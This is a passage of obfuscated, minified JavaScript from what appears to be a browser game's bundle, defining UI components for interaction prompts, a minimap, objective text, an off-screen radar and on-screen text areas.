(_0x234e66['interaction']['interactionRenderOffset']?.['y'] ?? 0x0)); }); } ['onEnteredInteractionRange'](_0x3be106) { this['maybePlayInteractionEnteredSound'](_0x3be106), this['showInteraction'](_0x3be106); } ['onExitedInteractionRange'](_0xdda964) { this['maybePlayInteractionExitedSound'](_0xdda964), this['hideInteraction'](_0xdda964); } ['onDestroyInteraction'](_0x1eb3a1) { this['cleanupStartSound'](_0x1eb3a1), this['maybePlayInteractionExitedSound'](_0x1eb3a1), this['destroyInteraction'](_0x1eb3a1); } ['onDestroyInteractionByExternalSource'](_0x3172c9) { this['cleanupStartSound'](_0x3172c9), this['maybePlayInteractionDestroyedSound'](_0x3172c9), this['destroyInteraction'](_0x3172c9); } ['maybePlayInteractionEnteredSound'](_0x4181e6) { _0x4181e6['interactionEnteredRangeSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { ..._0x4181e6['interactionEnteredRangeSound'], 'position': _0x4181e6['interactableActor']['getFromStore']('renderPosition') } }); } ['maybePlayInteractionExitedSound'](_0x5ae0fd) { _0x5ae0fd['interactionExitedRangeSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { ..._0x5ae0fd['interactionExitedRangeSound'], 'position': _0x5ae0fd['interactableActor']['getFromStore']('renderPosition') } }); } ['maybePlayInteractionDestroyedSound'](_0x4bffb4) { _0x4bffb4['interactionDestroyedSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { ..._0x4bffb4['interactionDestroyedSound'], 'position': _0x4bffb4['interactableActor']['getFromStore']('renderPosition') } }); } ['cleanupStartSound'](_0x16a2b3) { const _0x1c0042 = _0x16a2b3['interactionEnteredRangeSound']?.['name']; _0x1c0042 && this['gameMessageBus']['publish']('requestStopSoundsByEventName', { 'soundName': _0x1c0042 }); } ['showInteraction'](_0x236092) { if (!_0x236092['interactionText']) return; this['interactions'][_0x236092['interactionId']] || (this['interactions'][_0x236092['interactionId']] = { 'interaction': _0x236092 }); const _0x198dc4 = this['gameContext']['getFromGameStore']('settings'), _0x5be168 = (0x0, _0x1e89d2['assembleText'])(_0x236092['interactionText'], _0x198dc4), _0x6c5da0 = (0x0, _0x4fce7e['runningAsBackend'])() ? void 0x0 : this['createLabel'](_0x5be168); this['interactions'][_0x236092['interactionId']] = { 'label': _0x6c5da0, 'interaction': _0x236092 }, this['interactions'][_0x236092['interactionId']]['label'] && (this['interactions'][_0x236092['interactionId']]['label']['visible'] = !0x0); } ['hideInteraction'](_0x323d4f) { this['interactions'][_0x323d4f['interactionId']] && this['interactions'][_0x323d4f['interactionId']]['label'] && (this['interactions'][_0x323d4f['interactionId']]['label']['visible'] = !0x1); } ['destroyInteraction'](_0x2043da) { this['interactions'][_0x2043da['interactionId']] && this['interactions'][_0x2043da['interactionId']]['label'] && this['interactions'][_0x2043da['interactionId']]['label']['destroy'](), delete this['interactions'][_0x2043da['interactionId']]; } ['maybeActivateInteractions'](_0x12b24e) { _0x12b24e['interaction'] && Object['values'](this['interactions'])['forEach'](_0x187290 => { _0x187290['interaction']['interactionDisabled'] || this['messageBus']['publish']('performAvailableInteraction', _0x187290['interaction']); }); } ['createLabel'](_0x19e416) { const _0x5b6ace = this['scene']['rexUI']['add']['label']({ 'width': 0x64, 'height': 0x28, 'background': this['scene']['rexUI']['add']['roundRectangle'](0x0, 0x0, 0x0, 0x0, 0x5, 0x0, 0.4), 'text': this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Medium', _0x19e416, 0x1e), 'space': { 'left': 0xa, 'right': 0xa } })['layout'](); return _0x5b6ace['setDepth'](_0x1b2f3c['LAYER_DEPTHS']['UI_HUD']), _0x5b6ace['visible'] = !0x1, _0x5b6ace; } ['onSettingsUpdate'](_0x18c2d6, _0x109bb4) { _0x18c2d6['inputType'] !== _0x109bb4['inputType'] && Object['entries'](this['interactions'])['filter'](([_0x4a804b, _0x30050e]) => { const _0x559ae8 = _0x30050e['label']?.['visible']; return !_0x30050e['label'] || !_0x559ae8; })['forEach'](([_0x70172c, _0x27c889]) => { const _0x58da84 = parseInt(_0x70172c); _0x27c889['label']?.['destroy'](), this['interactions'][_0x58da84] = { 'interaction': _0x27c889['interaction'] }, this['showInteraction'](_0x27c889['interaction']); }); } } _0x256b94['UiInteractionComponent'] = _0x3c49bc; }, 0xd50: (_0x2c123b, _0x571f5e, _0x1247f6) => { 'use strict'; Object['defineProperty'](_0x571f5e, '__esModule', { 'value': !0x0 }), _0x571f5e['UiMinimapComponent'] = void 0x0; const _0x3c5924 = _0x1247f6(0xb35), _0x188df4 = _0x1247f6(0x1709), _0x250d76 = _0x1247f6(0x18e5); class _0x2d228f extends _0x188df4['SceneComponent']{ ['minimapScale'];['minimapSize'];['minimapPosition'];['markerImages'] = []; constructor(_0x28b925) { super(_0x28b925); } ['init']() { this['gameMessageBus']['subscribe'](this, 'mapInfoReady', _0x4ae8af => { const { mapConfig: _0x5e0542, tileMap: _0x43521f, rawMapJson: _0x5ab29a } = _0x4ae8af; this['minimapScale'] = this['getMinimapScale'](_0x43521f), this['minimapSize'] = this['getMinimapSize'](_0x43521f); const _0x3645f5 = this['createMinimapGraphics'](_0x5e0542, _0x43521f, _0x5ab29a); this['drawBorder'](_0x3645f5), this['attachGraphicsToCorner'](_0x3645f5, this['config']['corner']), _0x3645f5['setAlpha'](0.7); }); } ['renderMarkers'](_0x16b594) { _0x16b594['forEach']((_0x382747, _0x1a1e42) => { if (!this['markerImages'][_0x1a1e42]) { const _0x41a346 = this['scene']['add']['image'](0x0, 0x0, this['config']['markersTextureName']); _0x41a346['setScale'](this['config']['markerScale']), this['markerImages']['push'](_0x41a346); } const _0xbe3a9f = this['markerImages'][_0x1a1e42]; _0xbe3a9f['setTint'](_0x382747['tint']), _0xbe3a9f['setFrame'](_0x382747['frameName']); const _0x515449 = _0x382747['renderPosition']['x'] * this['minimapScale'] + this['minimapPosition']['x'], _0x5de1a9 = _0x382747['renderPosition']['y'] * this['minimapScale'] + this['minimapPosition']['y']; _0xbe3a9f['setPosition'](_0x515449, _0x5de1a9); }), _0x16b594['length'] < this['markerImages']['length'] && (this['markerImages']['slice'](_0x16b594['length'])['forEach'](_0x39bcd8 => _0x39bcd8['destroy']()), this['markerImages'] = this['markerImages']['slice'](0x0, _0x16b594['length'])); } ['createMinimapGraphics'](_0x2eb48c, _0x20f6b2, _0x2169a2) { const _0x1f5f60 = this['scene']['add']['graphics'](); _0x1f5f60['fillStyle'](0x0), _0x1f5f60['fillRect'](0x0, 0x0, this['minimapSize']['x'], this['minimapSize']['y']); const _0x27fb20 = _0x2169a2['layers']['find'](_0x52201f => _0x52201f['name'] === _0x2eb48c['collisionLayerName']); return _0x20f6b2['objects']['find'](_0x38ae2f => _0x38ae2f['name'] === _0x2eb48c['collisionLayerName'])?.['objects']['forEach'](_0x5622e7 => { const _0xf0d8a1 = (this['getObjectType'](_0x5622e7, _0x27fb20), 0x66ff88); this['drawShape'](_0x1f5f60, _0x5622e7, _0xf0d8a1, this['minimapScale']); }), _0x1f5f60; } ['drawBorder'](_0x37b88c) { _0x37b88c['lineStyle'](0x1, 0x77ff77), _0x37b88c['strokeRect'](-0.5, -0.5, this['minimapSize']['x'] + 0x1, this['minimapSize']['y'] + 0x1); } ['attachGraphicsToCorner'](_0x1e796f, _0x44744a) { const _0x5c07a9 = this['scene']['cameras']['main']['width'], _0x1cce91 = this['scene']['cameras']['main']['height'], _0xc0350c = 0xa; switch (_0x44744a) { case 'topLeft': this['minimapPosition'] = new _0x250d76['Vector'](_0xc0350c, _0xc0350c); break; case 'topRight': this['minimapPosition'] = new _0x250d76['Vector'](_0x5c07a9 - _0xc0350c - this['minimapSize']['x'], _0xc0350c); break; case 'bottomLeft': this['minimapPosition'] = new _0x250d76['Vector'](_0xc0350c, _0x1cce91 - _0xc0350c - this['minimapSize']['y']); break; case 'bottomRight': this['minimapPosition'] = new _0x250d76['Vector'](_0x5c07a9 - _0xc0350c - this['minimapSize']['x'], _0x1cce91 - _0xc0350c - this['minimapSize']['y']); }_0x1e796f['setPosition'](this['minimapPosition']['x'], this['minimapPosition']['y']); } ['drawShape'](_0x1546b1, _0x46c387, _0x2613a4, _0x11a4fe) { if (_0x46c387['rectangle']) this['drawRectangle'](_0x1546b1, _0x46c387, _0x2613a4, _0x11a4fe); else { if (!_0x46c387['polygon'] || 0x3 !== (_0x46c387['polygon']?.['length'] || 0x0)) throw new Error('Unsupported\x20GROUND\x20object\x20shape:\x20' + JSON['stringify'](_0x46c387)); this['drawTriangle'](_0x1546b1, _0x46c387, _0x2613a4, _0x11a4fe); } } ['drawRectangle'](_0x2bcb8b, _0x2c5c31, _0xd08777, _0x4a43ca) { _0x2bcb8b['fillStyle'](_0xd08777); let [_0x4cc26c, _0x438b8d] = [_0x2c5c31['x'] * _0x4a43ca, _0x2c5c31['y'] * _0x4a43ca], [_0x55b328, _0x55e1aa] = [_0x2c5c31['width'] * _0x4a43ca, _0x2c5c31['height'] * _0x4a43ca]; _0x4cc26c < 0x0 && (_0x55b328 += _0x4cc26c, _0x4cc26c = 0x0), _0x438b8d < 0x0 && (_0x55e1aa += _0x438b8d, _0x438b8d = 0x0), _0x4cc26c + _0x55b328 > this['minimapSize']['x'] && (_0x55b328 = this['minimapSize']['x'] - _0x4cc26c), _0x438b8d + _0x55e1aa > this['minimapSize']['y'] && (_0x55e1aa = this['minimapSize']['y'] - _0x438b8d), _0x55b328 <= 0x0 || _0x55e1aa <= 0x0 || _0x4cc26c >= this['minimapSize']['x'] || _0x438b8d >= this['minimapSize']['y'] || _0x2bcb8b['fillRect'](_0x4cc26c, _0x438b8d, _0x55b328, _0x55e1aa); } ['drawTriangle'](_0x2e6691, _0xcf2da9, _0x288066, _0x4fb906) { const _0x13f910 = _0xcf2da9['polygon'], _0x4a42cb = _0xcf2da9['x'], _0x289aa5 = _0xcf2da9['y'], _0x1830d5 = _0x13f910['map'](_0x44335c => ({ 'x': _0x44335c['x'] + _0x4a42cb, 'y': _0x44335c['y'] + _0x289aa5 })); _0x2e6691['fillStyle'](_0x288066); const [_0x4ec6f1, _0x1c87de] = this['trimPoint'](_0x1830d5[0x0]['x'] * _0x4fb906, _0x1830d5[0x0]['y'] * _0x4fb906), [_0x3b30f4, _0x3c818a] = this['trimPoint'](_0x1830d5[0x1]['x'] * _0x4fb906, _0x1830d5[0x1]['y'] * _0x4fb906), [_0xcbf9af, _0x49ed1b] = this['trimPoint'](_0x1830d5[0x2]['x'] * _0x4fb906, _0x1830d5[0x2]['y'] * _0x4fb906); _0x2e6691['fillTriangle'](_0x4ec6f1, _0x1c87de, _0x3b30f4, _0x3c818a, _0xcbf9af, _0x49ed1b); } ['getObjectType'](_0x785702, _0x524996) { return _0x524996['objects']['find'](_0x1d4bb6 => _0x1d4bb6['id'] === _0x785702['id'])['type']; } ['getMinimapScale'](_0x4e8355) { const _0x329f4a = _0x4e8355['width'], _0xe7c5a3 = _0x4e8355['height'], _0x874a10 = this['config']['minimapMaxSizeX'] / _0x329f4a, _0x18f7b5 = this['config']['minimapMaxSizeY'] / _0xe7c5a3; return Math['min'](_0x874a10, _0x18f7b5) / _0x3c5924['PhysicsConfig']['TILE_SIZE']; } ['getMinimapSize'](_0x1d6c28) { const _0x5ed256 = _0x1d6c28['width'], _0x4ce154 = _0x1d6c28['height'], _0x5577a1 = this['config']['minimapMaxSizeX'] / _0x5ed256, _0x118237 = this['config']['minimapMaxSizeY'] / _0x4ce154, _0x4ab1cf = Math['min'](_0x5577a1, _0x118237); return new _0x250d76['Vector'](_0x5ed256 * _0x4ab1cf, _0x4ce154 * _0x4ab1cf); } ['trimPoint'](_0x6d886d, _0x46b79f) { return [Math['max'](0x0, Math['min'](this['minimapSize']['x'], _0x6d886d)), Math['max'](0x0, Math['min'](this['minimapSize']['y'], _0x46b79f))]; } } _0x571f5e['UiMinimapComponent'] = _0x2d228f; }, 0xfb1: (_0x3a04cc, _0x4079d6, _0x31dbaa) => { 'use strict'; Object['defineProperty'](_0x4079d6, '__esModule', { 'value': !0x0 }), _0x4079d6['UiMinimapController'] = void 0x0; const _0x5caa48 = _0x31dbaa(0x1832), _0x3d9f17 = _0x31dbaa(0xac1); class _0x497cee extends _0x3d9f17['SceneComponentController']{ ['update']() { const _0xfaeda8 = []; this['gameContext']['queryActors'](_0x5caa48['EActorTag']['PLAYER'])['forEach'](_0x594a82 => { _0xfaeda8['push']({ 'renderPosition': _0x594a82['getFromStore']('renderPosition'), 'frameName': 'ring25', 'tint': 0x44aaff }); }), this['gameContext']['queryActors'](_0x5caa48['EActorTag']['PLAYER_OBJECTIVE'])['forEach'](_0x489e2c => { _0xfaeda8['push']({ 'renderPosition': _0x489e2c['getFromStore']('renderPosition'), 'frameName': 'circle35', 'tint': 0x44aaff }); }), this['gameContext']['queryActors'](_0x5caa48['EActorTag']['ENEMY'])['forEach'](_0x466abb => { _0xfaeda8['push']({ 'renderPosition': _0x466abb['getFromStore']('renderPosition'), 'frameName': 'ring25', 'tint': 0xff6666 }); }), this['gameContext']['queryActors'](_0x5caa48['EActorTag']['MAP_OBJECT'])['filter'](_0x31aa91 => _0x31aa91['getConfig']()['name']['includes']('ortal'))['forEach'](_0x12e35b => { _0xfaeda8['push']({ 'renderPosition': { 'x': _0x12e35b['getFromStore']('renderPosition')['x'], 'y': _0x12e35b['getFromStore']('renderPosition')['y'] - 0x64 }, 'frameName': 'circle35', 'tint': 0xff6666 }); }), this['component']['renderMarkers'](_0xfaeda8); } } _0x4079d6['UiMinimapController'] = _0x497cee; }, 0x830: (_0x405708, _0x537f16, _0x19e14e) => { 'use strict'; Object['defineProperty'](_0x537f16, '__esModule', { 'value': !0x0 }), _0x537f16['UiObjectiveTextComponent'] = void 0x0; const _0x2f4829 = _0x19e14e(0x1709); class _0x2d7082 extends _0x2f4829['SceneComponent']{ constructor(_0x51a88e) { super(_0x51a88e); } ['objectives'] = {};['init']() { this['gameMessageBus']['subscribe'](this, 'registerObjective', ({ name: _0x195406, objective: _0x21d83d }) => this['registerObjective'](_0x195406, _0x21d83d)), this['gameMessageBus']['subscribe'](this, 'progressObjective', ({ name: _0xdd619a, completionPoints: _0x493f1b, setCompletionPoints: _0x504e62 }) => this['progressObjective'](_0xdd619a, _0x493f1b, _0x504e62)); } ['registerObjective'](_0x414b30, _0x3f22d1) { _0x3f22d1['showOnObjectiveList'] && (this['objectives'][_0x414b30] = _0x3f22d1); } ['progressObjective'](_0x3c4d7d, _0x5f4a9b, _0x44ebc6) { const _0x3804e1 = this['objectives'][_0x3c4d7d]; if (!_0x3804e1 || !_0x3804e1['showOnObjectiveList']) return; const _0x16ddea = _0x5f4a9b === _0x3804e1['completionPointsToCompleteObjective']; (_0x3804e1['hideWhenCompleted'] ?? !0x1) && _0x16ddea && delete this['objectives'][_0x3c4d7d]; } ['calculateNewValue'](_0x3223b8, _0x2b269, _0x2ba7a0) { if (_0x2ba7a0) return _0x2b269; return _0x3223b8['initialObjectiveCompletionPoints'] > _0x3223b8['completionPointsToCompleteObjective'] ? _0x3223b8['currentCompletionPoints'] - _0x2b269 : _0x3223b8['currentCompletionPoints'] + _0x2b269; } ['assembleText'](_0x304685, _0x44fdc4) { let _0x199f67 = 'Objectives:\x0a\x0a'; for (const _0xbbd296 in this['objectives']) { const _0x22f495 = this['objectives'][_0xbbd296], _0x2b14fa = _0x22f495['displayAsPercentage'] ?? !0x1; let _0x1c080 = _0x304685 === _0x22f495 ? _0x44fdc4 : _0x22f495['currentCompletionPoints']; if (_0x2b14fa) { const _0x3b19be = _0x22f495['initialObjectiveCompletionPoints'] > _0x22f495['completionPointsToCompleteObjective'] ? _0x22f495['initialObjectiveCompletionPoints'] : _0x22f495['completionPointsToCompleteObjective']; _0x1c080 = Math['round'](_0x1c080 / _0x3b19be * 0x64); } const _0x21470d = _0x2b14fa ? _0x1c080 + '\x20%' : _0x1c080['toString'](); _0x199f67 += this['getObjectiveDisplayText'](_0xbbd296) + ':\x20\x20\x20' + _0x21470d + '\x0a'; } return _0x199f67; } ['getObjectiveDisplayText'](_0x3b21d6) { return this['objectives'][_0x3b21d6]?.['objectiveDescriptionMessage'] ?? _0x3b21d6 ?? '[UNNAMED]'; } } _0x537f16['UiObjectiveTextComponent'] = _0x2d7082; }, 0xf5e: (_0x1ed26f, _0x3ec735, _0x47788c) => { 'use strict'; Object['defineProperty'](_0x3ec735, '__esModule', { 'value': !0x0 }), _0x3ec735['UiRadarComponent'] = void 0x0; const _0x4ac753 = _0x47788c(0xe48), _0x1c694a = _0x47788c(0x1709), _0x297281 = _0x47788c(0x1512), _0x1e2f77 = _0x47788c(0x18e5); class _0x54f1db extends _0x1c694a['SceneComponent']{ constructor(_0x9c1595) { super(_0x9c1595); } ['trackedActors'] = {};['postInit']() { this['gameMessageBus']['subscribe'](this, 'registerActor', ({ scene: _0x9e988a, actor: _0x7202 }) => { const _0xb52f96 = this['config']['actorTagsToTrack']['find'](({ tag: _0x544b58 }) => _0x7202['getTags']()['includes'](_0x544b58)); if (!_0xb52f96) return; if (this['config']['actorTagsToIgnore']['some'](_0x1e39d7 => _0x7202['getTags']()['includes'](_0x1e39d7))) return; const _0x5c8e4d = _0x7202, _0x36022f = _0x4ee830 => { _0x4ee830 && this['trackedActors'][_0x7202['id']]['marker']['setValue'](_0x4ee830['newValue']); }; this['createMarker'](_0x5c8e4d, _0xb52f96, [_0x36022f]), _0x5c8e4d['subscribeToStore']('hp', _0x36022f); }), this['gameMessageBus']['subscribe'](this, 'destroyActor', ({ scene: _0x150e27, actor: _0x36788b }) => { this['trackedActors'][_0x36788b['id']] && (this['trackedActors'][_0x36788b['id']]['marker']['destroy'](), this['trackedActors'][_0x36788b['id']]['subscriptions']['forEach'](_0x385a92 => _0x385a92()), delete this['trackedActors'][_0x36788b['id']]); }), this['gameMessageBus']['subscribe'](this, 'hideUi', () => this['hideUi']()); } ['updateFeatures']() { Object['values'](this['trackedActors'])['forEach'](({ actor: _0x1674d3, marker: _0x3cdadc, markerSize: _0x28a06c }) => { if (this['isActorInCamera'](_0x297281['ECamera']['MAIN'], _0x1674d3)) _0x3cdadc['hide'](); else { _0x3cdadc['show'](); const _0x5a6c92 = this['calculateMarkerPosition'](_0x1674d3, _0x28a06c, 0xa); _0x3cdadc['updatePosition'](_0x5a6c92); } }); } ['destroy']() { Object['values'](this['trackedActors'])['forEach'](({ marker: _0x495b59, subscriptions: _0x56f154 }) => { _0x495b59['destroy'](), _0x56f154['forEach'](_0x5da7d4 => _0x5da7d4()); }), this['trackedActors'] = {}; } ['isActorInCamera'](_0x2d7498, _0x29ed18) { const _0x296753 = this['gameContext']['getCamera'](_0x2d7498)['worldView'], _0xf9e1ce = _0x29ed18['getFromStore']('renderPosition'); return _0x296753['contains'](_0xf9e1ce['x'], _0xf9e1ce['y']); } ['createMarker'](_0x657670, _0x2be990, _0x12d6ae) { const _0x356b33 = new _0x4ac753['CircularCounter']({ 'scene': this['scene'], 'gameContext': this['gameContext'], 'name': 'radarMarker', 'maxValue': _0x657670['getFromStore']('maxHp'), 'size': _0x2be990['markerSize'], 'tint': _0x2be990['markerTint'], 'iconConfigPath': _0x657670['getFromStore']('uiIconPath'), 'renderIconOnly': _0x2be990['renderIconOnly'], 'depth': this['config']['depth'], 'depthAdd': this['config']['depthAdd'] }); this['trackedActors'][_0x657670['id']] = { 'actor': _0x657670, 'marker': _0x356b33, 'subscriptions': _0x12d6ae, 'markerSize': _0x2be990['markerSize'] }; } ['calculateMarkerPosition'](_0x57c194, _0x5236cb, _0x3b918e) { const _0x14320d = this['gameContext']['getCamera'](_0x297281['ECamera']['MAIN'])['worldView'], _0x30c110 = _0x14320d['width'], _0x3c276e = _0x14320d['height'], _0x47b6aa = new _0x1e2f77['Vector'](_0x14320d['centerX'], _0x14320d['centerY']), _0x2f949d = _0x57c194['getFromStore']('renderPosition'), _0x3c5593 = (0x0, _0x1e2f77['normalize'])(new _0x1e2f77['Vector'](_0x2f949d['x'] - _0x47b6aa['x'], _0x2f949d['y'] - _0x47b6aa['y'])), _0x481eb6 = _0x30c110 / 0x2, _0x626d53 = _0x3c276e / 0x2; let _0x2a2eae = _0x47b6aa['x'] + _0x3c5593['x'] * (_0x481eb6 - _0x3b918e), _0x1476d2 = _0x47b6aa['y'] + _0x3c5593['y'] * (_0x626d53 - _0x3b918e); Math['abs'](_0x3c5593['x']) * (_0x626d53 - _0x3b918e) > Math['abs'](_0x3c5593['y']) * (_0x481eb6 - _0x3b918e) ? (_0x2a2eae = _0x47b6aa['x'] + Math['sign'](_0x3c5593['x']) * (_0x481eb6 - _0x3b918e), _0x1476d2 = _0x47b6aa['y'] + _0x3c5593['y'] * ((_0x481eb6 - _0x3b918e) / Math['abs'](_0x3c5593['x']))) : (_0x2a2eae = _0x47b6aa['x'] + _0x3c5593['x'] * ((_0x626d53 - _0x3b918e) / Math['abs'](_0x3c5593['y'])), _0x1476d2 = _0x47b6aa['y'] + Math['sign'](_0x3c5593['y']) * (_0x626d53 - _0x3b918e)), _0x2a2eae < _0x14320d['left'] + _0x3b918e + _0x5236cb && (_0x2a2eae = _0x14320d['left'] + _0x3b918e + _0x5236cb), _0x2a2eae > _0x14320d['right'] - _0x3b918e - _0x5236cb && (_0x2a2eae = _0x14320d['right'] - _0x3b918e - _0x5236cb), _0x1476d2 < _0x14320d['top'] + _0x3b918e + _0x5236cb && (_0x1476d2 = _0x14320d['top'] + _0x3b918e + _0x5236cb), _0x1476d2 > _0x14320d['bottom'] - _0x3b918e - _0x5236cb && (_0x1476d2 = _0x14320d['bottom'] - _0x3b918e - _0x5236cb); const _0x43e8b7 = (_0x2a2eae - _0x14320d['left']) / _0x30c110 * this['scene']['scale']['width'], _0x453f4f = (_0x1476d2 - _0x14320d['top']) / _0x3c276e * this['scene']['scale']['height']; return new _0x1e2f77['Vector'](_0x43e8b7, _0x453f4f); } ['hideUi']() { Object['values'](this['trackedActors'])['forEach'](({ marker: _0x10b1c8 }) => _0x10b1c8['hide']()); } } _0x3ec735['UiRadarComponent'] = _0x54f1db; }, 0x16c4: (_0x506ba2, _0x1149e4, _0xb0add) => { 'use strict'; Object['defineProperty'](_0x1149e4, '__esModule', { 'value': !0x0 }), _0x1149e4['createUiScene'] = _0x1149e4['ENEMY_TEAM_TINT'] = _0x1149e4['ENEMY_TEAM_BRIGHT_TINT'] = _0x1149e4['PLAYER_TEAM_TINT'] = _0x1149e4['PLAYER_TEAM_BRIGHT_TINT'] = void 0x0; const _0x2bff90 = _0xb0add(0x1832), _0x10a1a4 = _0xb0add(0xf18), _0x4eb47e = _0xb0add(0x2347), _0x5664be = _0xb0add(0x19f5), _0x24badb = (_0xb0add(0xd50), _0xb0add(0xfb1), _0xb0add(0xf5e)), _0x414e81 = _0xb0add(0xcc8), _0x2174f3 = _0xb0add(0x830), _0x1bb569 = _0xb0add(0x70f), _0x35c611 = _0xb0add(0x1fc3), _0x401b7a = _0xb0add(0x1d85), _0x4e06ae = _0xb0add(0xda7), _0x38a11a = _0xb0add(0x17b4), _0x27836d = _0xb0add(0x10b9), _0x53991f = _0xb0add(0x1d70); _0x1149e4['PLAYER_TEAM_BRIGHT_TINT'] = 0x66ff99, _0x1149e4['PLAYER_TEAM_TINT'] = 0x11ff11, _0x1149e4['ENEMY_TEAM_BRIGHT_TINT'] = 0xff8888, _0x1149e4['ENEMY_TEAM_TINT'] = 0xdd4444, _0x1149e4['createUiScene'] = function (_0x11ebb0) { return new _0x5664be['Scene']({ 'gameMessageBus': _0x11ebb0['gameMessageBus'], 'gameContext': _0x11ebb0['gameContext'], 'name': 'UI_SCENE', 'model': { ..._0x4eb47e['sceneModel'] }, 'components': [new _0x27836d['UiCursorVisibilityComponent'](), new _0x24badb['UiRadarComponent']({ 'actorTagsToTrack': [{ 'tag': _0x2bff90['EActorTag']['PLAYER_OBJECTIVE'], 'markerSize': 0x23, 'markerTint': _0x1149e4['PLAYER_TEAM_BRIGHT_TINT'] }, { 'tag': _0x2bff90['EActorTag']['ENEMY_OBJECTIVE'], 'markerSize': 0x23, 'markerTint': _0x1149e4['ENEMY_TEAM_BRIGHT_TINT'] }, { 'tag': _0x2bff90['EActorTag']['ENEMY'], 'markerSize': 0x14, 'renderIconOnly': !0x1, 'markerTint': _0x1149e4['ENEMY_TEAM_BRIGHT_TINT'] }, { 'tag': _0x2bff90['EActorTag']['SPAWN'], 'markerSize': 0x1e, 'renderIconOnly': !0x0 }], 'actorTagsToIgnore': [_0x2bff90['EActorTag']['HAS_NO_UI']], 'depth': _0x10a1a4['LAYER_DEPTHS']['UI_HUD'] + 0x1, 'depthAdd': _0x10a1a4['LAYER_DEPTHS']['UI_HUD'] + 0x2, 'isRenderComponent': !0x0 }), new _0x414e81['UiTextRenderComponent']({ 'textAreas': [{ 'textAreaName': 'objectiveText', 'text': 'CENTER\x20LARGE\x20TEXT', 'position': { 'x': _0x10a1a4['RenderConfig']['scale']?.['width'] / 0x2, 'y': _0x10a1a4['RenderConfig']['scale']?.['height'] / 0x6 }, 'font': 'antonio-bold-shadow', 'fontSize': 0x50, 'color': '0xffffff', 'origin': 'topCenter', 'slide': 'left', 'slideDistance': 0x1f4, 'slideDurationMS': 0xc8, 'slideInSound': 'uiWoosh1', 'slideOutSound': 'uiWoosh2' }, { 'textAreaName': 'mapName', 'text': 'CENTER\x20LARGE\x20TEXT', 'position': { 'x': _0x10a1a4['RenderConfig']['scale']?.['width'] / 0x2, 'y': _0x10a1a4['RenderConfig']['scale']?.['height'] / 0x4 }, 'font': 'antonio-bold-shadow', 'fontSize': 0x118, 'color': '0xffffff', 'origin': 'topCenter', 'slide': 'left', 'slideDistance': 0x1f4, 'slideDurationMS': 0xc8, 'slideInSound': 'uiWoosh1', 'slideOutSound': 'uiWoosh2', 'alpha': 0.9 }, { 'textAreaName': 'mapSupplementaryMessage', 'text': 'CENTER\x20LARGE\x20TEXT', 'position': { 'x': _0x10a1a4['RenderConfig']['scale']?.['width'] / 0x2, 'y': _0x10a1a4['RenderConfig']['scale']?.['height'] / 0x2 }, 'font': 'Satoshi-Bold', 'fontSize': 0x30, 'color': '0xffffff', 'origin': 'topCenter', 'slide': 'left', 'slideDistance': 0x1f4, 'slideDurationMS': 0xc8, 'slideInSound': 'uiWoosh1', 'slideOutSound': 'uiWoosh2', 'alpha': 0.9 }], 'depth': _0x10a1a4['LAYER_DEPTHS']['UI_HUD'] + 0x8, 'depthAdd': _0x10a1a4['LAYER_DEPTHS']['UI_HUD'] + 0x7, 'isRenderComponent': !0x0 }), new _0x2174f3['UiObjectiveTextComponent']({ 'textAreaName': 'objectiveProgress', 'isRenderComponent': !0x0 }), new _0x38a11a['UiEndRunComponent']({ 'isRenderComponent': !0x1, 'controllers': [new _0x1bb569['UiEndRunCalculationController']()] }), new _0x53991f['UiPerkSelectionComponent']({ 'isRenderComponent': !0x0 }), new _0x35c611['HudComponent']({ 'isRenderComponent': !0x0 }), new _0x401b7a['DialogueComponent']({ 'controllers': [new _0x4e06ae['DialogueInputController']()] })] }); }; }, 0xcc8: (_0xa92bc, _0x7866e5, _0x4edb7b) => { 'use strict'; Object['defineProperty'](_0x7866e5, '__esModule', { 'value': !0x0 }), _0x7866e5['UiTextRenderComponent'] = void 0x0; const _0x1501d8 = _0x4edb7b(0x1709); class _0x5d82dc extends _0x1501d8['SceneComponent']{ ['textAreas'] = {}; constructor(_0x448745) { super(_0x448745); } ['onCreate']() { this['gameMessageBus']['subscribe'](this, 'requestText', ({ textAreaName: _0x486d9b, text: _0x27501e, durationMS: _0x43830d }) => this['requestText'](_0x486d9b, _0x27501e, _0x43830d)), this['gameMessageBus']['subscribe'](this, 'clearText', ({ textAreaName: _0x4940f7 }) => this['clearText'](_0x4940f7)), this['gameMessageBus']['subscribe'](this, 'hideUi', () => this['hideUi']()), this['config']['textAreas']['forEach'](_0x54adcb => { this['textAreas'][_0x54adcb['textAreaName']] = { 'text': this['createTextArea'](_0x54adcb) }; }); } ['createTextArea'](_0x5691ac) { const _0x261f8a = this['scene']['add']['dynamicBitmapText'](_0x5691ac['position']['x'], _0x5691ac['position']['y'], _0x5691ac['font'], _0x5691ac['text'], _0x5691ac['fontSize']); _0x261f8a['setTint'](parseInt(_0x5691ac['color'], 0x10)), _0x261f8a['setAlpha'](_0x5691ac['alpha'] ?? 0x1); const { originX: _0x22dba2, originY: _0x381949 } = this['getOrigin'](_0x5691ac); return _0x261f8a['setOrigin'](_0x22dba2, _0x381949), _0x5691ac['origin']['includes']('Left') ? _0x261f8a['setLeftAlign']() : _0x5691ac['origin']['includes']('Right') ? _0x261f8a['setRightAlign']() : _0x261f8a['setCenterAlign'](), _0x261f8a['visible'] = _0x5691ac['startVisible'] ?? !0x1, _0x261f8a; } ['requestText'](_0x2a277b, _0x30137a, _0x422334) { if (this['gameContext']['getFromGameStore']('photoModeEnabled')) return; const _0x1a0bc1 = this['textAreas'][_0x2a277b]; if (!_0x1a0bc1) throw new Error('Text\x20area\x20with\x20name\x20' + _0x2a277b + '\x20not\x20found'); const _0x3a38b6 = this['config']['textAreas']['find'](_0x2ab6e7 => _0x2ab6e7['textAreaName'] === _0x2a277b); _0x3a38b6 && _0x3a38b6['slide'] && (this['createSlideTween'](_0x1a0bc1['text'], _0x3a38b6, 'slideIn')['play'](), _0x3a38b6['slideInSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x3a38b6['slideInSound'] } })), _0x1a0bc1['text']['setText'](_0x30137a), _0x1a0bc1['text']['visible'] = !0x0, _0x1a0bc1['callback'] && this['gameContext']['timeProvider']['cancelDelayedAction'](_0x1a0bc1['callback']), _0x422334 && (_0x1a0bc1['callback'] = this['gameContext']['timeProvider']['delayAction'](() => { 